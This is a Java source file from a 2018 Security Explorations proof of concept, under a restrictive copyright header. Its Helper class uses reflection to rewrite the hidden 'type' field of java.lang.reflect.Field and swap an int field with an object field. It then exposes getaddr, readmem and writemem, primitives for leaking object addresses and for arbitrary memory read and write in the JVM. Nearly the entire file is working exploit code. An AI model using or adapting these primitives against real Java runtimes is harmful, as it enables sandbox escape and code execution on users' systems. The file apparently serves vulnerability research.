/*## (c) SECURITY EXPLORATIONS    2018 poland                                #*/
/*##     http://www.security-explorations.com                                #*/

/* THIS SOFTWARE IS PROTECTED BY DOMESTIC AND INTERNATIONAL COPYRIGHT LAWS    */
/* UNAUTHORISED COPYING OF THIS SOFTWARE IN EITHER SOURCE OR BINARY FORM IS   */
/* EXPRESSLY FORBIDDEN. ANY USE, INCLUDING THE REPRODUCTION, MODIFICATION,    */
/* DISTRIBUTION, TRANSMISSION, RE-PUBLICATION, STORAGE OR DISPLAY OF ANY      */
/* PART OF THE SOFTWARE, FOR COMMERCIAL OR ANY OTHER PURPOSES REQUIRES A      */
/* VALID LICENSE FROM THE COPYRIGHT HOLDER.                                   */

/* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS    */
/* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,*/
/* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL    */
/* SECURITY EXPLORATIONS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, */
/* WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF  */
/* OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE     */
/* SOFTWARE.                                                                  */

import java.lang.*;
import java.lang.reflect.*;

public class Helper {
 public int v_i;
 public Helper v_h;

 private static Field f_h;
 private static Field f_i;
 private static Helper h;

 static {
  try {
   Class clazz=Class.forName("Helper");
   h=(Helper)clazz.newInstance();
   
   f_h=clazz.getField("v_h");
   f_i=clazz.getField("v_i");

   Field f_t_h=f_h.getClass().getDeclaredField("type");
   Field f_t_i=f_i.getClass().getDeclaredField("type");

   f_t_h.setAccessible(true);
   f_t_i.setAccessible(true);

   Class c_h=(Class)Class.forName("java.lang.Object");
   Class c_i=(Class)f_t_i.get(f_i);

   f_t_h.set(f_h,c_i);
   f_t_i.set(f_i,c_h);
  } catch(Throwable e) {}
 }

 public static int getaddr(Object o) {
  int val=-1;

  try {
   f_i.set(h,o);
   val=h.v_i;
  } catch(Throwable t) {}

  return val;
 }

 public static int readmem(int addr) {
  int val=-1;

  try {
   f_h.setInt(h,addr-8);
   val=h.v_h.v_i;
   f_h.setInt(h,0);
  } catch(Throwable t) {}

  return val;
 }

 public static void writemem(int addr,int val) {
  try {
   f_h.setInt(h,addr-8);
   h.v_h.v_i=val;
   f_h.setInt(h,0);
  } catch(Throwable t) {}
 }

}
